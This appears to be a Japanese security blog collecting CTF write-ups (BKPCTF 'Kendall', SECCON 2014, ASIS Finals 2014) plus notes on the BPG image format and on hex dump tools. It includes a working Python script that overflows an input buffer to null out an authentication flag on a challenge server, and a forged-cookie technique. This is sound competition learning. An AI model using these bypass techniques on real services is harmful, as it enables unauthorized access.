BKPCTFを触りだけやってきた
先週の土日に Boston key party CTF に少しだけ参加した。
いつもReverseばっかり見てるけど、そろそろPWNもできるようにならねば…と思い立ったのでPWN問題に取り組んでみた。
今回は参加したというほどガッツリやっていないけど、初のx86-64解析デビューということもあるので(そして初のボッチCTFということもあり)記念に Kendallの問題(PWN 300. 途中まで)を書くことにする。
問題サーバに接続
問題サーバに接続するよう問題文が書いてあり、x86-64で動作するELFファイルが与えられる。実行してみると、DHCP Management Console なるものが表示される。
[rintaro@rintaro_PC] $ nc 52.0.164.37 8888 ##################################################### # DHCP Management Console # # Auditing Interface # ##################################################### h show this help a authenticate c config menu d dhcp lease menu e exit [m]#
DHCPのログ参照やステータス参照をできるようだ。
ただし、変更や反映は認証済みの状態でないとできないようだ。
無論パスワードはわからない。
[m]# a Password: hoge Authentication failed! [m]#
バイナリを見てみる
一通り遊んだところでx86-64バイナリを眺めてみる。[root@madone] # readelf -r kendall.a125e431e553c7ec2d9845c90c0f4ed1 Relocation section '.rela.dyn' at offset 0x7d0 contains 4 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000602658 001300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 000000602840 002300000005 R_X86_64_COPY 0000000000602840 stdout + 0 000000602850 002400000005 R_X86_64_COPY 0000000000602850 stdin + 0 000000602858 002500000005 R_X86_64_COPY 0000000000602858 optarg + 0 Relocation section '.rela.plt' at offset 0x830 contains 34 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000602678 000100000007 R_X86_64_JUMP_SLO 0000000000000000 strncpy + 0 (snip) 000000602718 001500000007 R_X86_64_JUMP_SLO 0000000000000000 listen + 0 000000602720 001600000007 R_X86_64_JUMP_SLO 0000000000000000 bind + 0 000000602728 001700000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0 000000602730 001800000007 R_X86_64_JUMP_SLO 0000000000000000 perror + 0 000000602738 001900000007 R_X86_64_JUMP_SLO 0000000000000000 getopt + 0 000000602740 001a00000007 R_X86_64_JUMP_SLO 0000000000000000 accept + 0 000000602748 001b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit + 0 000000602750 001c00000007 R_X86_64_JUMP_SLO 0000000000000000 fwrite + 0 000000602758 001d00000007 R_X86_64_JUMP_SLO 0000000000000000 getaddrinfo + 0 000000602760 001e00000007 R_X86_64_JUMP_SLO 0000000000000000 fork + 0 (snip)
Network部分まで実装してある模様。forkだしメモリがリークできれば普通にいけんじゃね、とか思いつつ読んでいく。
vmmapを見てみると.pltの領域に実行フラグが立っていて、open, read, writeやsystem関数が存在したため最初はこれらを奪う問題かと思っていたが、読み進めると認証部分をどうにかできそうなことがわかる。
読み進めていくと、認証済みかどうかを見るためのflagが.bss領域の"0x602900"に存在し、そこを見て認証状態を確かめている。
初期値で1がセットされ、0ならば認証済み、それ以外ならば未認証という具合だ。
そして認証flagに隣接する領域(0x80Byte手前)に入力文字列が入る領域があることが分かった。
gdb-peda$ x/50i $rip => 0x4014fe: mov QWORD PTR [rbp-0x10],0x602900 # 認証flag 0x401506: mov rax,QWORD PTR [rip+0x201333] (snip) 0x4015a1: lea rax,[rbp-0x40] 0x4015a5: mov esi,0x602880 # 入力文字が入るところ 0x4015aa: mov rdi,rax 0x4015ad: call 0x400c80 <strcmp@plt>
さらに、DHCPのログ検索機能の中で文字入力のMax Length=0x80 として入力を受け付ける箇所がある。
怪しいと思い入力受付機能を見ると、最後の改行文字またはMax Length+1文字目を文字列の終端(Null Byte)に置き換える処理を施している。つまり、この機能を呼び出して80文字以上を入力すると認証flagの領域をNull Byteで上書きでき、認証をバイパスできるということになる。
認証バイパス
ということで、認証flagを書き換える。#!/usr/bin/python # -*- coding: utf-8 -*- import socket, re, telnetlib def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): print "switch to manual mode." t = telnetlib.Telnet() t.sock = s t.interact() host = "52.0.164.37" port = 8888 # bypass authentication s, f = sock(host, port) print read_until(f, "[m]# ") f.write("d" + "\n") print read_until(f, "[d]# ") f.write("f" + "\n") print read_until(f, "Enter filter condition: ") f.write("a"*0x80 + "\n") print read_until(f, "[d]$ ") shell(s)
権限昇格でき、すべての機能を使うことができるようになった。
[rintaro@rintaro_PC] $ python bypass_auth.py ##################################################### # DHCP Management Console # # Auditing Interface # ##################################################### h show this help a authenticate c config menu d dhcp lease menu e exit [m]# [d]# Enter filter condition: [d]$ switch to manual mode. m [m]$ a Password: aaaa Authentication succesfull [m]$
使えるようになった機能は以下。
- start ip 変更
- end ip 変更
- netmask ip 変更
- nameserver ip 変更(使えそう)
- renew leases (なにやら"./renew_lease"とかいう怪しいプログラムを叩いている)
バイナリ解析では他にもBOFを使って制御を奪取できそうな箇所を探したけど、そんなところはなかったので、Name Serverを自身のサーバIPにして"./renew_lease"を叩いたら何か飛んでくるんじゃないかなーと思っていたが、今回ぼっちでやってて外部公開サーバも持ってないし、飲みにいく予定もあったためここで断念。
なんか認証バイパスしたら変に納得してしまった感があり、後はひたすら飲んでいた。
今回で良くわかったこと。
- 特にSECCONとかで思ってたけど、外部公開サーバはやっぱりないとダメだ。やはりハニーポット立てるべきか…
- ボッチCTFはイクナイ(・A・)。腰を据えてしっかりやれない。自分に必要なのは集中力と忍耐力だった。
- 他の問題に目を配らなかったけど、1問くらいは簡単なやつでいいから解いておいたほうがいい。ちゃんとやってなくても後で振り返ると意外とダメージがある。
とはいえ久々にバイナリ読んで穴を探すっていう作業は楽しかった。
次はもっとじっくりとワイワイやりたい。
追記:
Balalaika Cr3wがWriteup出してたので見てみたら、ここまではアプローチとしては正しかったみたいだ。
httpsで待ってるとSuperfishでアクセスが来て、FLAGになってたみたいだ。
なんてタイムリーw さすがCTF界隈。
うん。これはマジで外向けのサーバ用意したほうがいいな…
新しい画像ファイルBPGを使う
"BPG Image format"という新しい画像ファイルフォーマットが出てきている。
まだViewerがなくて、デフォルトで見るにはJavaScriptを使わないと見えないけど、圧縮率も高いようなので使ってみた。
それとマジックバイトも気になったので見てみた。
BPGのサイトはこちら。
特徴はざっとこんな感じ
- 高い圧縮率。JPEGよりも遥かに小いサイズだが同程度の品質
- JavaScriptのデコーダさえあれば、ほとんどのブラウザでサポート
- JPEGと同じchroma format(彩度とか輝度とか)。これにより、変換による劣化を低減
- 圧縮時のロスがない(可逆ってことですかね)
- EXIF, ICC profile, XMPとかのメタデータも含められる
なお、今回はWindows環境にて試している。
特にレジストリ書き換え等もないため、ファイルを配置するだけで利用可能である。
BPGファイルの生成
まずはBPGファイルを利用するために、ページからBPGのエンコーダをダウンロードする。zipを解凍して、そのフォルダにjpgとかpngファイルをコピーする(今回は "in.jpg" )。
あとは元の画像ファイルを引数としてエンコーダを叩いてあげるだけ。
CMDでやるならば、以下の1行で良い。カレントディレクトリにファイル"out.bpg"が出力される。
C:\Users\rintaro\bpg-0.9.3-win32>.\bpgenc.exe in.jpg
もしくは、元の画像ファイルを"bpgenc.exe"までドラッグ&ドロップしてあげればいい。
元の画像ファイルと同じフォルダに"out.bpg"が出力される。
※ちなみに、jpgとpngは変換できたが、bmpとgifはできなかった。
C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.gif Not a JPEG file: starts with 0x47 0x49 C:\Users\rintaro\bpg-0.9.3-win32>bpgenc.exe in.bmp Not a JPEG file: starts with 0x42 0x4d
BPGファイルの閲覧
先にも書いたが、WindowsにはまだViewerがないようで、JSにより復元する。解凍したフォルダの中に、htmlというフォルダが入っている。
サンプルを見ると、その中の"bpgdec8b.js"を利用すると閲覧できるようだ。
同じフォルダに、生成したBPGファイルを入れ、以下のHTMLを書く。
<html> <head> <meta charset="UTF-8"> <script type="text/javascript" src="bpgdec8b.js"></script> </head> <body> This is a bpg.<br /> <img src="out.bpg"> </body> </html>
BPGファイルの指定は、jpgなどと同様にimgタグで指定すればよい。
あとはこのHTMLファイルを開くだけ。
ちなみにサイズを見てみると半分以下。なかなか賢い。
ちゃんとJPGとの比較・評価はしてないけど、見た目変なところはないし、サイズも小さい。閲覧さえ簡単になればいいと思った。
jpgとの比較結果を見たければ以下サイトとかを見るといいと思う。
JPEG画像の約半分のファイルサイズで同品質のものを表示できる画像形式「BPG」が誕生、実際に使ってみるとこんな感じ - GIGAZINE
BPGファイルのマジックナンバー
このBPGファイルに対してfileコマンドを打ってみる。もちろん結果は、
[rintaro@rintaro_PC] $ file out.bpg out.bpg: data
見事にdataとなっている。
ただ、hexを見てみると、先頭6バイトがは固定されている。
[rintaro@rintaro_PC] $ xxd out.bpg|head 0000000: 4250 47fb 2000 8161 8161 8656 0392 4740 BPG. ..a.a.V..G@ 0000010: 4401 c190 9581 1200 0001 2601 af26 e7ab D.........&..&.. 0000020: 7ff8 8039 a57d b4fe d6b5 3465 fcad 2004 ...9.}....4e.. . 0000030: 731f 8c55 04c3 539d 401b 8be7 9035 3cc4 s..U..S.@....5<. 0000040: 9949 138c e9dd 923c 82b5 29be 6d1d 6206 .I.....<..).m.b. 0000050: 3a0d fdf3 644f 1eae b436 4dab e746 390c :...dO...6M..F9. 0000060: 62e5 009d 4eaa 56de 1aaf d933 af4a 9abe b...N.V....3.J.. 0000070: 4aac 27d1 2308 ec00 de20 0b6c 20a6 ac1e J.'.#.... .l ... 0000080: 7c8a 7cc1 392d 0811 b24f 9bd4 4d9b 5662 |.|.9-...O..M.Vb 0000090: 561f 802f 29a1 af56 d343 9860 ab7c 17cf V../)..V.C.`.|..
ASCIIだと先頭3文字が "BPG"から始まる。hexだと "4250 47fb 2000" となっているのがBPGファイルだ。
もしCTFとかでなんかわからんファイルが出てきて、先頭が"BPG"となっていれば、画像ファイルとして復元できるだろう。
というか、そのうちfileコマンドが対応するよね。メジャーになればだけど。
それまでは、目grepでがんばることにする。
16進数ダンプコマンドの違い
前回のエントリで、hexdump コマンドを使ったら想定した順序でバイナリがダンプされず苦い思いをした。
得点にも繋がった可能性もあると思うと悔やまれたため、整理(今更…)。
なお、今回はリトルエンディアンの環境で試している。
hexdump
バイナリをダンプしたいときは hexdump をよく使う。いつもは -C オプションを付けてASCIIと一緒に見るが、オプションをつけないときと挙動が違う。
オプションなしでhexdumpを呼び、"ABCD" を16進数で表す。
[root@kali] # echo "ABCD" | hexdump 0000000 4241 4443 000a 0000005
2byteずつ読み込み、それを逆転させて出力しているため、想定した並び順となっていない。
紛らわしすぎる。
-C オプションを付けると1byte単位で読むようになり、想定した順序で出力された。
[root@kali] # echo "ABCD"|hexdump -C 00000000 41 42 43 44 0a |ABCD.| 00000005
hexdumpまとめ
hexdump使うときはとりあえず -C をつけることにするといい。(ときと場合にもよるけど)
xxd
これもよく使っている。特に逆変換するとき。オプションなしで出力すると、2byteずつの区切りで表示されるが、順序はCharacterごとになって表示されている。想定どおり。
[root@kali] # echo "ABCD"|xxd 0000000: 4142 4344 0a ABCD.
-g オプションで groupsize を指定できるようなのでやってみたが、順序は変わらない。
[root@kali] # echo "ABCD"|xxd -g 1 0000000: 41 42 43 44 0a ABCD. [root@kali] # echo "ABCD"|xxd -g 2 0000000: 4142 4344 0a ABCD.
全角文字を試してみても同じ。
[root@kali] # echo "競駆魂"|xxd -g 1 0000000: e7 ab b6 e9 a7 86 e9 ad 82 0a .......... [root@kali] # echo "競駆魂"|xxd -g 2 0000000: e7ab b6e9 a786 e9ad 820a ..........
xxdまとめ
xxdによるダンプは、1byte単位で出力され、逆転もされない。od
これはそんなに使わないけどメモ。16進数で出すには、 -h や -x オプションを使う。
[root@kali] # echo "ABCD"|od -h 0000000 4241 4443 000a 0000005 [root@kali] # echo "ABCD"|od -x 0000000 4241 4443 000a 0000005
2byteずつ読んでいる。hexdumpをオプションなしで呼んだときと同じ。
読み込むbyte単位を指定したいときは、 -t オプションでTYPEを指定し、"x" で16進数指定する。
[root@kali] # echo "ABCD"|od -t x 0000000 44434241 0000000a 0000005 [root@kali] # echo "ABCD"|od -t x1 0000000 41 42 43 44 0a 0000005 [root@kali] # echo "ABCD"|od -t x2 0000000 4241 4443 000a 0000005 [root@kali] # echo "ABCD"|od -t x8 0000000 0000000a44434241 0000005
Wikipedia(ぇ によると、odはエンディアン依存の実行結果を表示するようだ。
区切って読んだあとに逆転させて表示されている。数字を指定しないと4byte単位。
odまとめ
オプションしっかり指定してやらないとハマりそう。結論
これからはデフォルトでは xxd 使うことにしよう。ただエンディアンに依存して表示したいときはodコマンドを使うことにしよう。
SECCON2014 オンライン予選(en)
12/6 9:00 ~ 12/7 17:00 で、SECCON2014 が開催されたため、チームctpmとして参加してきた。
結果は3,200点で25位。上位チームとは2倍以上も差があるのが恐ろしい。
今回は自分では大して仕事をしていない感が強かったけど、感想も兼ねてWriteupを書く。課題はexploit.
Reverse it(bin 100)
fileコマンドを打つと、ただのデータの模様。
中身を見てみる。
[rintaro@rintaro_PC] $ hexdump Reverseit 0000000 9dff 700d b6da fc93 7263 2822 22bd d218 0000010 b425 d47b 8c00 a1ab 609e e707 bb04 3156 0000020 7b5a d684 bbd4 b97e 00a0 ab6d 36cd 31c9 0000030 a4d1 012d 5872 a9b5 3acf c104 1b51 4700 0000040 dd70 0814 e965 9377 b431 3776 96f8 1049 (snip) 0001de0 1000 1000 0000 3000 2110 7000 8000 0000 0001df0 a200 d4d4 0000 6696 8754 2d00 1eff 0000 0001e00 8400 8400 1010 1000 6494 64a4 0100 0eff 0001e10 8dff 0001e12
始まりが 9dff, 終わりが 8dff なので、jpgファイルが4bitごとに反転されているのがわかる。
大会中はCybozuLive + Chat でやりとりしてるんだけど、
「4bitずつに分割して反転すればOK」と書き込んだ4分後にチームメイトが flag 書き込んでくれてた。正直すごいと思った。
Decrypt it(Easy)(crypt 200)
以下3ファイルをダウンロードできる。- readme.txt : 中に $ ./rnd crypt1.png ecrypt1.bin と書いてある
- rnd : 32bit ELF実行ファイル
- ecrypt1.bin : dataファイル
引数を2つとってrndを実行するというものらしいが、第1引数のファイルがない。
rnd を逆アセしてみると、次のようになっている。
srandにUNIX epoch time を詰め込んで、その後のrand値をもとにビット演算, ADD, ANDといった計算をする。
さらに、第1引数のファイルから読み込んだの値と XOR をしてファイル出力している。
第1引数に該当するファイルがないため、これを復元するためにUNIX epoch timeを算出できればよい。
この実行ファイルでは、rand関数の値をもとに
sar edx, 31 shr edx, 24
といった計算がされているが、C言語のstdlib.hでは最大 0x7fffffff までの値しか出力されないため、これらは実質意味がない計算となる(すべて0になる)。
これらを端折り、pngの先頭4バイトからecrypt1.binの4バイトを生成する epochtime を求める。
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> int encrypt(unsigned int rnd, unsigned int input){ unsigned int edx,enc; edx = rnd; enc = input ^ edx; enc = enc & 0xFF; return enc; } bool encryptable(int src, int dst){ int rnd = rand(); int enc = (encrypt(rnd, src)); return dst == enc; } int main(int argc, char *argv[]){ unsigned int eax,edx; int time = 0; int i; for(i=1400000000;i<1418310000;i++){ srand(i); // 1st byte if(!encryptable(0x89, 0x34)) continue; // 2nd byte if(!encryptable(0x50, 0x70)) continue; // 3rd byte if(!encryptable(0x4e, 0xf0)) continue; // 4th byte if(encryptable(0x47, 0x2d)){ printf("time: %d\n", i); } } return 0; }
これで epochtime が"1416667590"であることがわかる。これをもとに逆算してやればよい。
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ FILE *fp1, *fp2; char *filename1 = "ecrypt1.bin"; char *filename2 = "decrypted.png"; int time = 1416667590; int src, random; unsigned int edx; char buf[20]; fp1 = fopen(filename1, "rb"); fp2 = fopen(filename2, "wb"); srand(time); while(fread(&src, 1, 1, fp1)==1){ edx = rand(); src = src ^ edx; fwrite(&src, 1, 1, fp2); } fclose(fp1); fclose(fp2); return 0; }
pngファイルが出力されたので、この先はチームメイトに任せて自分は他の問題に移った。
version2(nw 200)
チームメイトから、h2oとversion2という言葉から連想できることない?
と聞かれ、「http/2じゃね?」といったら解決した。持つべきものはチームメイトです。
この前HTTP/2カンファレンス行っといて良かったw
choose the number(pg 100)
サーバにnc接続すると、いくつかの数字とmax, minを聞かれるため、ひたすらそれに答えていく問題。#!/usr/bin/env python import socket hostname = "153.120.128.155" port = 31337 bufsize=1024 * 10 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname,port)) data = s.recv(bufsize) cnt = 0 while 1: print cnt cnt += 1 print data lineList = data.split('\n') nums = lineList[0].split(', ') nums = map(long,nums) #print 'numlist:', nums if 'maximum' in lineList[1]: senddata = max(nums) elif 'minimum' in lineList[1]: senddata = min(nums) else: print 'error.' break print 'send:', senddata s.sendall(str(senddata)) data = s.recv(bufsize) s.close()
途中からmin, max以外のものも聞かれるかと思っていたが、そんなことなかった。
[root@kali] # python solve.py 0 -6, -8 The maximum number? send: -6 1 -8, 2, 1 The maximum number? send: 2 (snip) 99 3026579565, -4268653171, 824594082, -1216800427, -2942059119, 2734824164, 2378867278, -3312616937, -1450788809, 2609446196, 933229918, -525031883, 2658713277, -3424197581, 2714002200, 961679001, -1918141388, 2384073056, -2349209667, -3795758126, -4053382186, -4128329931, -1220975135, -2445923040, -646890171, -3105229879, -3785136266, 2150927192, 666171246, 2339568430, 1457151652, -3789764701, 2958693042, 2949695341, 1215289247, 1945421978, 3719865041, -1827448426, -560498694, -1501020665, -4125652107, 2095140397, -1209597803, -1380665248, 2024078738, -3669945851, -932304006, -3662055663, -3345496903, 3422310749, -308751840, 3836085859, 3783586083, 209757048, -2013587456, -556615597, 2817625014, 1000219239, -3647092256, -2153377637, -2060011630, 414266117, 2987383496, 3356743747, 2037768595, 167324123, 1894461082, 3785190578, 3719997868, -3896365555, -3023028888, 1736304958, -143009352, 383457339, -1341908584, 2597950776, -2942290071, -940979268, 237865581, -473747952, 4104067010, -95495622, -473772437, 1573676099, -1344741287, -3961922306, -2691292645, 2955392562, -871606715, -1068266030, 1024089948, -1371364589, -245319363, -1352852338, 3445587717, -148004269, 2246597267, 1982576407, -373017230, -1649620257, -1985458588 The minimum number? send: -4268653171 100 Congratulations! The flag is SECCON{Programming is so fun!}
Advanced RISC Machine(exploit 300)
ARMの実行ファイルのExploit.
[root@kali] # checksec.sh --file passcheck-arm
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH passcheck-arm
スタック上でシェルは実行はできない。
Raspberry Piが手元にあったがうまく実行できず、静的解析のみで読み進めていった。
しかし、いつもデバッガ+静的で読んでいるのが裏目に出てうまく読めなかった。
sys_readの長さチェックをやっていないため、SVCでsys_open呼んでsys_read→sys_writeさせればいけるなぁと思いつつも、攻略できず撃沈。
The Golden Gate(pg 400)
エンコーダーボードの写真と暗号文をもとに、デコードする問題。これは回路に起こして復号するところは自分はやっていなかったけど、とても惜しかったため紹介。
エンコーダーボードから回路を書きおこしてもらった。
まず与えられている文字列をbase64デコードする。文字数的に"==" は余分なため、削除した状態でデコードすると良い。
[root@kali] # echo "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS" | base64 -d > tmp_file [root@kali] # hexdump tmp_file 0000000 0005 92f2 1968 8ed0 6992 ea09 8fe2 10e2 0000010 6ee3 eb75 7457 5df2 5da6 5554 5429 daeb 0000020 3a19 eadb 779c 9ce2 5cea f211 5f23 682f 0000030 4592 b269 36ec 9292 0092 0000039
これを、回路をトレースしたコードに食わせると、文字列が得られる。
8b 1f 00 08 4b 02 54 73 03 00 c9 0b 55 48 cb 48 4c 49 c8 57 56 2c 76 08 76 75 f7 f6 f6 ab 29 c8 31 4b c9 28 8c cf cf 48 77 c9 08 ca ad f1 02 e5 b7 00 a0 03 25 87 00 00 8b 00
実はこれ、競技時間中にはチャットから流れていってしまって気付けなかった。
本当にもったいない&申し訳ないことをした。ちゃんと見ていれば良かったorz
8b 1f なので、gzipが逆転しているため、大会後に戻してみたら速攻でflag取得できた。
しかも後から気付くと、hexdump で見てたけど、xxd で見た文字列を入力値に使っていれば反転すらしてないgzipの値が得られるではないか。
回路を復元してデコードすれば良いだけの問題であることがわかる。
[root@kali] # echo "1f8b0800024b735400030bc9485548cb494c57c82c5608767576f6f7abf6c8294b3128c9cf8c48cfc977ca08f1ade50200b703a087250000009f"|xxd -r -p > out.gz [root@kali] # gzip -dc out.gz The flag is SECCON{Hlvd0toiXgloBhTM} gzip: out.gz: unexpected end of file
その他
Holy shellcode(exploit 400)は、x86上で普通に動くシェルは作成したものの、ヘブライ語化は手付かずのままとなってしまったため進捗ダメです状態で終了。XSSも、他メンバがやっていたものにあーだこーだ言っていたぐらいでメインでは攻略に参加せず。
ひとつ驚いたのはBleeding "Heartbleed" Test Web(web 300)だ。
チームメイトが自宅に公開サーバを作ってきたけどIPアドレスを忘れてしまい困った事態に陥ったが、Cloudnに詳しいメンバの手により一瞬で外部アクセス可能なサーバを用意してもらいました。無料ポイントを使えたので、無料にて攻略ができたのが感動した。
その後はすぐ解約してましたw
持つべきは仲間ですね。本当にそう思った。
それと、他の問題の状況も確認する。これ大事。
当たり前だけどポイント落とさないためにもコミュニケーションほんとに重要だった。
この順位だと本戦にいけるかはわからないけど、しばらくは海外勢の様子を観察しながらExploitの練習を続けることにする。
ASIS CTF Finals 2014 Writeup
日本時間の10/11~13で ASIS CTF Finals 2014 が開催された。
本戦出場権がなくても参加可能であり、某チームで参加してきたのでWriteup。
全体的にはstegoがやたら難しかったのと、バイナリはx86-64が多くてしっかり見れなかったイメージ。
苦手アーキがあるとダメだな。。
Lottery
Web問題。
まずはページにアクセスする。
1234567890番目にアクセスするとご褒美がもらえる模様。
もう一度アクセスしてみると、「何度目の訪問者か」が表示される。
1234567890番目には程遠い。
ここで、リクエストの Cookie を表示してみると、それっぽいCookie "Visitor" が存在することがわかる。
この値をbase64decodeすると、以下の値になっていることがわかる。
[rintaro@rintaro_PC] $ echo "Nzg3OjM2MjFmMTQ1NGNhY2Y5OTU1MzBlYTUzNjUyZGRmOGZi"|base64 -d 787:3621f1454cacf995530ea53652ddf8fb%
左がカウンターで、右がそのMD5になっているため、
左を1234567890、右をそのMD5にしたものを "Visitor" にセットしてアクセスしたらFlagが出力された。
1234567890:e807f1fcf82d132f9bb018ca6738a19f ↓ MTIzNDU2Nzg5MDplODA3ZjFmY2Y4MmQxMzJmOWJiMDE4Y2E2NzM4YTE5Zg%3D%3D
Flag.
ASIS_9f1af649f25108144fc38a01f8767c0c
Fact or Real?
Recon、いわゆるネットストーキングの問題。問題文は、
ASIS_md5(motto)
なにかのモットーを答えれば良い。
Fact or Real のキーワードで探していくと、Twitterアカウントの @factoreal というものが ASIS-CTF manager のアカウントで存在することがわかる。
Flag.
ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6
Lion Cub
reversing 問題。これはバイナリ解析しているときに、他の方に解析結果出してもらったので、実はそこまで仕事してない(ぇ
けど取り組んだので紹介する。
問題文
Flag is encrypted using this program, can you find it? simple_f0455e55c1d236a28387d04d5a8672ad.tar
問題を取得し、解凍すると "flag.enc" という暗号ファイルと x86-64 のELFファイルが出てくる。
[rintaro@rintaro_PC] $ file simple_5c4d29f0e7eeefd7c770a22a93a1daa9 simple_5c4d29f0e7eeefd7c770a22a93a1daa9: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=ab7a63652b0602fb5e73b31aa0cecbf1466bb719, stripped [rintaro@rintaro_PC] $
x64は、慣れた逆アセンブラがないなーと思いながらGDBで追いかける。
しかもC++だ…。
バイナリを見ていると、
400c2c あたりから、 "flag" というファイルから値を取ってきて、変換し、 "flag.enc" というファイルに出力しているみたい。
gdb-peda$ x/80i 0x400c2c => 0x400c2c: mov esi,0x400eec # 文字列 "flag" を読み込み 0x400c31: mov rdi,rax 0x400c34: call 0x400ab0 <_ZNSt14basic_ifstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@plt> 0x400c39: lea rax,[rbp-0x440] 0x400c40: mov rdi,rax 0x400c43: call 0x400ac0 <_ZNSt14basic_ofstreamIcSt11char_traitsIcEEC1Ev@plt> …… 0x400cd1: lea rax,[rbp-0x240] 0x400cd8: mov rsi,rcx 0x400cdb: mov rdi,rax 0x400cde: call 0x400a50 <_ZNSi4readEPcl@plt> # std::istream::read を呼び出し …… 0x400d05: mov eax,DWORD PTR [rbp-0x14] # ループカウンタ取得 0x400d08: movsxd rdx,eax 0x400d0b: mov rax,QWORD PTR [rbp-0x20] # "flag" から読み込んだ文字列ロード 0x400d0f: add rax,rdx 0x400d12: movzx edx,BYTE PTR [rax] # 1文字取り出して 0x400d15: mov eax,DWORD PTR [rbp-0x14] 0x400d18: cdqe 0x400d1a: lea rcx,[rax+0x1] 0x400d1e: mov rax,QWORD PTR [rbp-0x20] 0x400d22: add rax,rcx 0x400d25: movzx eax,BYTE PTR [rax] # 1文字次の値も取り出して 0x400d28: xor eax,edx # その2つを XOR 0x400d2a: movsx edx,al 0x400d2d: lea rax,[rbp-0x440] 0x400d34: mov esi,edx 0x400d36: mov rdi,rax 0x400d39: call 0x400a40 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c@plt> 0x400d3e: add DWORD PTR [rbp-0x14],0x1 # ループカウンタをインクリメント 0x400d42: lea rax,[rbp-0x30] 0x400d46: mov rdi,rax 0x400d49: call 0x400e22 0x400d4e: sub eax,0x1 0x400d51: cmp eax,DWORD PTR [rbp-0x14] 0x400d54: setg al 0x400d57: test al,al 0x400d59: jne 0x400d05 ……
要するに、"flag" ファイルから、 flag[i] ^ flag[i+1] の処理をして flag.enc を生成している。
ここらへんまで読んでいたら、他の方が復元ファイルを作ってくれていた。
なんか復元部分がメインのような気もするが、先に進む。
1f8b0808928d2f540003666c61672e706e67000192016dfe89504e470d0a 1a0a0000000d494844520000006f0000006f0103000000d80b0c23000000 06504c5445000000ffffffa5d99fdd0000000274524e53ffffc8b5dfc700 0000097048597300000b1200000b1201d2dd7efc0000012449444154388d d5d431ae84201006e079b1a0d30b90cc35e8b8925e40e5027a253aae41e2 05b0a320ce1bb2bbef651b87668b25167e0501867f007a1bf01d4c004be8 76af0150e449650a71087aa1067afee9762aa36ae2a8746f7523674bbb2f 4de4250c12fd6ff2867cde2968fefe8e7f431e17943af155d81b26d06068 b3dd661a68d005987cfc219997e23b8ab3c24bc9a4808e3acab4da065204 a541e166506402e4592ec71148e499cbe0f914b42a99c91eb59221824591 e4613475b9dd93c804e4087a13472bf3ac05e7781f6b0b0326551be77147 02b35e38540a0064f2481c6fc2d3cbe4c472bc5dd613c9e45e98a10c19cf 576bdc915b9213cbbb524d9c88d73ab667ad44d667e419957b72ffdace79 bc8ccc47fff696eb2ff3734feea7f80bb686232e7a493424000000004945 4e44ae426082fb73fb8e92010000
最初の"1f 8b"で、どう見てもgzipです。(←これ、一度は言ってみたかった)
このとおりのバイト列でgzipファイルを作成し、解凍すると、flag.png が展開される。
これを読み込むとFlagが表示された。
ASIS_e87b556efc59f8351aec0858da850906
大会中には "flag" ファイル逆算は書きませんでした。
読むの遅いからなぁ。。
(追記)大会後だが、どうせなので復元スクリプト書いてみた。
import os f=open('flag.enc', 'r') data = f.read() f.close() for i in range(0x100): os.system('touch flag_' + str(i)) f_o=open('flag_' + str(i), 'r+b') f_o.write(chr(i)) for j in range(len(data)): seed = data[j] xored = i^ord(seed) f_o.write(chr(xored)) i = xored f_o.close()
このあと、flag_xxx に対してループでfileコマンドを仕掛けると gzip になってるやつがいて、それを解凍すると最初のQRコードなpngファイルが展開されるというものだった。
Capsule
NW問題。Find the flag in this file. capsule_239acad5fcfe4722e624da66c9c02542
ファイルが与えられ、見てみるとpcapngファイルになってる。
[rintaro@rintaro_PC] $ file capsule_239acad5fcfe4722e624da66c9c02542 capsule_239acad5fcfe4722e624da66c9c02542: pcap-ng capture file - version 1.256
だが、壊れていてWiresharkではうまく開くことができない。
pcapfixを使って復元する。
C:\Users\rintaro\Documents\security\tool\pcapfix-1.0.2-win32> .\pcapfix -n capsule_239acad5fcfe4722e624da66c9c02542.pcapng
中身を見るとAFPとかいうやつでやりとりされている。
"dsi"でフィルターし、Lengthでソート。
flagないかなーと思いながら、画像ファイルの復元をしていっている途中で、テキストのResponseの中に怪しい文字列を発見する。
_ ____ ___ ____ _____ _ ___ __ ___ _ _ ___ _ _ _ _ __ ___ ___ _ _ _ _____ _ ___ _ ____ ___ / \ / ___|_ _/ ___| |___ // |( _ ) / _| ___ / _ \| |__ / | ___ / _ \ __| | __| | || | / _| __ _ / _ \ __ _ ( _ ) __| | ___ __ _| || ||___ / ___ __| | __ _ ___ ___ ( _ )| |__|___ \ / _ \ / _ \ \___ \| |\___ \ |_ \| |/ _ \| |_ / _ \ | | | '_ \| |/ __| | | |/ _` |/ _` | || |_| |_ / _` | | | |/ _` |/ _ \ / _` |/ __/ _` | || |_ |_ \ / _ \/ _` |/ _` |/ __/ _ \/ _ \| '_ \ __) | | | | / ___ \ ___) | | ___) | ___) | | (_) | _| __/ |_| | |_) | | (__| |_| | (_| | (_| |__ _| _| (_| | |_| | (_| | (_) | (_| | (_| (_| |__ _|__) | __/ (_| | (_| | (_| __/ (_) | |_) / __/| |_| | /_/ \_\____/___|____/___|____/|_|\___/|_| \___|\___/|_.__/|_|\___|\___/ \__,_|\__,_| |_| |_| \__,_|\___/ \__,_|\___/ \__,_|\___\__,_| |_||____/ \___|\__,_|\__,_|\___\___|\___/|_.__/_____|\___/ |_____|
ということで答え。
ASIS_318fe0b1c0dd4fa0a8dca43edace8b20
Voting
これもWeb問題。アクセスすると、OSの種類を聞かれる。
